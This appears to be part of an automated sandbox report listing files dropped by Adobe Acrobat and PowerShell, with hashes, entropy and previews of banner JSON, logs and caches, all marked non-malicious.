C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305132966552234
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfYdPeUkwRe9:YvXKX0TTTcsf1VEVGg8Ukee9
MD5:	18260B3E2D5580652400E24B6F99EA38
SHA1:	4CAC7198E188534EF3CE2DE629F2B82D57AFD268
SHA-256:	01ADD30C98E1BE281778B8CE938FC75EA9FF6F64837635C56BFE66ADA4E06FFF
SHA-512:	286B82C369B45A738BCC45A726780A8B497CC6493B701FB2FD5687A2F83BD41B74F48EC0E0917CF112D0122890BB38858729E516A49A3859F62A16F16884C06F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.29185506212501
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJf+dPeUkwRe9:YvXKX0TTTcsf1VEVG28Ukee9
MD5:	A934E0003335D5C95191B1E7606D74D9
SHA1:	BAB79FBAFE32F5F15429141B8930998FD427411A
SHA-256:	51552CF146EAD8DE7084C8D090443646101B0594B4F38836E5AB7304C31346F8
SHA-512:	BB305E18455480E716F877606EF01EFDAB9A14C276DB6E7788CD6038540628A76350C6F43DB9B132879C6919E4FD1CE6096BC9E457A1F85566D85D751E1E6BAD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.288644786105464
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfbPtdPeUkwRe9:YvXKX0TTTcsf1VEVGDV8Ukee9
MD5:	B4E765269F28A4069F1F8784ADEF2BA8
SHA1:	ECDCD0E1F100CC0C8FA78CB4AB52000AC66E6E3F
SHA-256:	11CEF81B47C345041523B1478AFE2FA3EE059EBE2C209EA60E7711AF384BAD4E
SHA-512:	AFFEF2D6BB71AB25D47D3BED738A1C400906CBBCE9B62525BAF34D4B2500EB2C66306AE9CFB1B0EA2BC96D951370BEFECA727D6E8DC05ABEA94D0FC1122CF927
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.29007467270012
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJf21rPeUkwRe9:YvXKX0TTTcsf1VEVG+16Ukee9
MD5:	CAAA545E6D2136DDE7F00056C6F2B802
SHA1:	6F39CA10AAEC63F9389A4A40FEC523A70FC76B01
SHA-256:	3B35C7B59216A9CA53563BCF0FA01345CB45288093E5C4B533FF8D13B85A2966
SHA-512:	C0E408C7A681C0807C228322757C041E0C4C00D5A5BB15C5B65DFCAB9A8B08E605062E63CB05E2A0B97881B78656F74CE132B5A514D889F8248ADCCFFBB2A2D2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663537219438846
Encrypted:	false
SSDEEP:	24:Yv6X0LDcmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSV:YvZLDtBgkDMUJUAh8cvMV
MD5:	8DBD578DADEED43FAAD096693277BC78
SHA1:	3A543E4D4C780A3BEC6491B65C88685437CF66AE
SHA-256:	185399611ACE538C51D730D92D5ACA8D48EDA86055204D2AEB326B5295A89BE8
SHA-512:	A26B955E499CEAB12B763AC43588DABAB26203179F3A8D54917E2554DFA7A8407DB751909D06BF68E6FC1B7ABC87E57FA1732A28639C01950A75900F95491F3E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.266318446521676
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJfshHHrPeUkwRe9:YvXKX0TTTcsf1VEVGUUUkee9
MD5:	973A51583F7EEE2A896424FBCD8F8D59
SHA1:	510ECE2A3921805AB2C3ABA26824DB8469D7F4B2
SHA-256:	8139B9CF7B18839A5CFCB5FE48EC18C3499A66D58E25426271582D81B2954016
SHA-512:	12BB58F0DDC9974DCEA371D6B8ECF3BE33AB14B2F671D4B7515E2383E687D2D783DD3788C4A1A37684A9AD6E6BC2D43187E5BCCD6F6C1F72F8F98CD50D1EB4F0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.272281969029738
Encrypted:	false
SSDEEP:	6:YEQXJ2HX0TTwghld1Wsym1ym0YbEeoAvJTqgFCrPeUkwRe9:YvXKX0TTTcsf1VEVGTq16Ukee9
MD5:	271285D50A3500F927809E4FE8452BCB
SHA1:	B3B372F1F675E907C6FBE353BA15E2D9BDAD14B3
SHA-256:	13E51E4071AC69811E1F657951D4CC0EE5D326DBCB7C00E253BCE2EE3E5CC8DE
SHA-512:	281511C47A69A29255E8B2925FE3EB76FFBA71F52A1D0E6465B412A97CE277A14D06BE28FD2B3EC39D132CD92126FA236E338B2E53F0C02310EBF4C122FCE9F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"d8728d31-961e-4758-9199-b30426ae280e","sophiaUUID":"43A605B0-D726-4998-AA7C-63F8BCED1880"},"encodingScheme":true,"expirationDTS":1736734116902,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.142348665391085
Encrypted:	false
SSDEEP:	24:YDGGZaPPayIrAIdktE+mTjfSvjBj0SJa7B2a/2LSLCeELEqic5sHq5UN91JuEhOG:Y62NyEaFElLV4LEqiKsKON91ht
MD5:	3F911DA8E945DA0574FA516B6AD298AC
SHA1:	C5743E3F143CBF54C7A12A45FB65E9756FEFDF34
SHA-256:	D7654004C6E9D1EF76D0135D3D29CC1F0B791E75D50A675CFED605D87E967FD7
SHA-512:	4BA1D46676B3AD0E018A5EEDEA21E5EA42016FAC2BD2BA3E290064AE8E088310C238EBCE21E87875B41F5DC7340FA805BE7FCC20469202EC570C001993F1B932
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"8dca47464aed55c4285e1e4ca02d722f","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736554566000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"356a62b2fb2fa27ca6019eb5ae3af210","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736554566000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"0b07d3fee14d6356d387b32c884fb78f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736554566000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"62d86a33fc1e1727ca5c5557ade66fe7","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736554566000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"99c31200307a665b8c77de27609cde18","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736554566000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"bb56c97e44bc2517ff1e92873679d072","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3246360935943244
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7ursmbwwwwwwwwwwwcAEsTt7jX78Z2iLIa2dDYksSqrqXFs6Fi:TVl2GL7msmV3qKKa2dDzsS4UFsec
MD5:	85FB0EE5173AB067068B3679019D5718
SHA1:	6B1738FF9F8F504D29C1C23EAFD27A2CAA21953B
SHA-256:	417F34FFB257A237BDEF43DE01DAE152A51F3886A9B54CB8DBE158B682456EE9
SHA-512:	D3E468F44FE326A6CDBA523BAE154A30228A048F734B73EF8C055FCCBB80CBA5DC1EFB736548D33590A4DD64C6E8270ABB08D950B5D7C6F397B03259CF8DD4C0
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7860076032994943
Encrypted:	false
SSDEEP:	24:7+tbwwwwwwwwwwwwwcAeMsTt7jX78Z2iLIa2dDYksSqrqXFs63HqLBx/XYKQvGJY:7MxFMqKKa2dDzsS4UFs2Hqll2GL7msK
MD5:	2C4963BD5BE1B6BEE1A879820713B2EB
SHA1:	11AB7C98E6D4ED13B60351A3E498DDC73353A7A9
SHA-256:	A48D8C0601EAD05BA3EBA466929A0CEA3656399EA0633955725198945A3780A3
SHA-512:	504469041A6B576DAE4C7FCC6512A26F0137225435CDC3F652CFDDB09F787EB415D30D4B2886ACE60F288CDFF06ED0E349E04484D68A9598417F83A2E978B43F
Malicious:	false
Preview:	.... .c.......M+..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Z..Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgJ/WSt9ZlSpXhzl+abwqvqsqNxZYyu:6a6TZ44ADEJ/JTZlSVhhqseZK
MD5:	04EE2BD259D71C809D3C49EA751209F1
SHA1:	1718234E482B90A2E910646F3531402BCEBB8161
SHA-256:	B63573CA9A67E35014E6D2EE11CD39E96BBB3DEB738A6E7EA809862FE9EBFD07
SHA-512:	BEA46F55AA0CA97F36B388F4CBF7AC7938B99677CA812234FDD46DDA3A68A5770C1D4D260BC7DCA61CC55212A1C401B99BAEE863AE99C3211BC5DA608118ACCA
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	16096
Entropy (8bit):	5.4863707064894065
Encrypted:	false
SSDEEP:	384:W1jnCPwvGPGf0A86rt7OdAVpiwA7veSI6Ct2+89gE+kZnX3iN0HJhvUbmEE10rUh:qj2JA86rBw77f1T/l+OM4JGXJc8ndcSy
MD5:	C298C94427B46A0CEFCC1A706F0225B9
SHA1:	D3BAFEE1ED5A0F4DE9042411929EF38F87F3E312
SHA-256:	27EAE9A6EBD0761FFB06C2B86723578E981049519D1FBC2FE7285114C2ABFF88
SHA-512:	240F4A01EE9CCA7F068B3C24E30C897D453838B97A9BDACAC05163103FF05267CA7A7D0D817EFD7B2D85E85CF660B9AB5853650FEA38F61C06B63C16E5518AA1
Malicious:	false
Preview:	@...e................................................@..........H...............o..b~.D.poM...C..... .Microsoft.PowerShell.ConsoleHostD...............E...y.BG.\..............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...f.......System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.2.....%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\MSIa0bee.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5085442896850614
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEj4f9:Qw946cPbiOxDlbYnuRK+bDjm
MD5:	50E0E4934D932FFE5183EA4EE1BB9EA2
SHA1:	E52A4C086E8C8D3011BC19A3894C45702A74D577
SHA-256:	A217E1606B1F78EAF8D90EA51D19A5A0E4D84473E1F9EAB7346293A5B399C8BB
SHA-512:	B7FB2CE96B907C6EDEFBB3755EF9A0C5A168CCABCA5C82EAD94C1F04F2349A25F7F442D25EB4DCDB27C2D5717F23AB0940584CDBE55CD7A2504B2D10DEFF58B3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.1.6.:.0.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5rkwl2yf.y0y.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yt2oz4no.aaf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-16-00-022.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.3642074368816415
Encrypted:	false
SSDEEP:	384:7cKjycFsNqtn2n5O8TAEWPUYNqtascBVYAqM0KQAu9Ak393V92GyJyJ6ICtEh5p3:jvi
MD5:	81AF462213266DBAC9B781BB5BE2E1AE
SHA1:	90BF653EB28CABE16DEF65768A4E2ED1D5525A39
SHA-256:	BE985400A702077F254954105E5716F830BBB6B3F2EF768D7603B9CF4817D081
SHA-512:	3711E7EA90D4B9B0A50EC68EAD6EDC8497B7C07454E43CEEEC4B0FAD096C3A45B2B946AE08BADB51F84BE03F6D7B805CC595632A46811218D82DF0096430B175
Malicious:	false
Preview:	SessionID=cf7b554e-2c7f-4c07-801f-6a9858d67d8a.1696515479656 Timestamp=2023-10-05T16:17:59:656+0200 ThreadID=7128 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=cf7b554e-2c7f-4c07-801f-6a9858d67d8a.1696515479656 Timestamp=2023-10-05T16:17:59:657+0200 ThreadID=7128 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=cf7b554e-2c7f-4c07-801f-6a9858d67d8a.1696515479656 Timestamp=2023-10-05T16:17:59:657+0200 ThreadID=7128 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=cf7b554e-2c7f-4c07-801f-6a9858d67d8a.1696515479656 Timestamp=2023-10-05T16:17:59:657+0200 ThreadID=7128 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=cf7b554e-2c7f-4c07-801f-6a9858d67d8a.1696515479656 Timestamp=2023-10-05T16:17:59:657+0200 ThreadID=7128 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.322080801836311
Encrypted:	false
SSDEEP:	384:CZlsdpYm08vNNvdy3WADxrm2Nq+xPzDpORu8qicvS2VvcZKVcv3bWNWLejxxRvHR:NAT
MD5:	DC8E97F051E35ACBEBEE7D350E745B96
SHA1:	3511CE3D78656E049DD04676C4CC5F023C743312
SHA-256:	C08AF619CE031BC8C801D8A55064E7B70F211716073762E618EF4883897BD9A6
SHA-512:	47F814705EDA0CA10B25251D76E3EBCE24CA0EC887E8C7551A5D9E35B8945E7841516004B73C2BD00F3B5ADD15514FAA98E419D7AADB4629409D7B091D84A50F
Malicious:	false
Preview:	SessionID=615186aa-19d8-46d8-9f62-16643d062f86.1736554560035 Timestamp=2025-01-10T19:16:00:035-0500 ThreadID=7620 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=615186aa-19d8-46d8-9f62-16643d062f86.1736554560035 Timestamp=2025-01-10T19:16:00:036-0500 ThreadID=7620 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=615186aa-19d8-46d8-9f62-16643d062f86.1736554560035 Timestamp=2025-01-10T19:16:00:036-0500 ThreadID=7620 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=615186aa-19d8-46d8-9f62-16643d062f86.1736554560035 Timestamp=2025-01-10T19:16:00:036-0500 ThreadID=7620 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=615186aa-19d8-46d8-9f62-16643d062f86.1736554560035 Timestamp=2025-01-10T19:16:00:036-0500 ThreadID=7620 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.407792386799403
Encrypted:	false
SSDEEP:	192:4cboIFDcblcb6I8qcbrcbuIuocbecbgIrpcbcVcbwI8Ccbp:bFr8su3rRI8h
MD5:	E7FFB8DC4B39B5426BDE5FD70210A906
SHA1:	FC9E6E47377F7CAAEC50BF97624D68536C081369
SHA-256:	4677A80D7C65FC87F5C8733E7E29E0460D31A36C603249CB1F0272C084E1C6C0
SHA-512:	0686AC873B7F23F290DCDB38E1534B8A5D0A8A95DB4882EA1BC65BDAF425EE5ED9F89ED7CA89ADBAA4856D040AC19605817ADE59450844E7C6DD5A17E2413678
Malicious:	false
Preview:	05-10-2023 04:08:26:.---2---..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 04:08:26:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 04:08:26:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\09e84138-d508-4128-8388-07d7f8590aa6.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
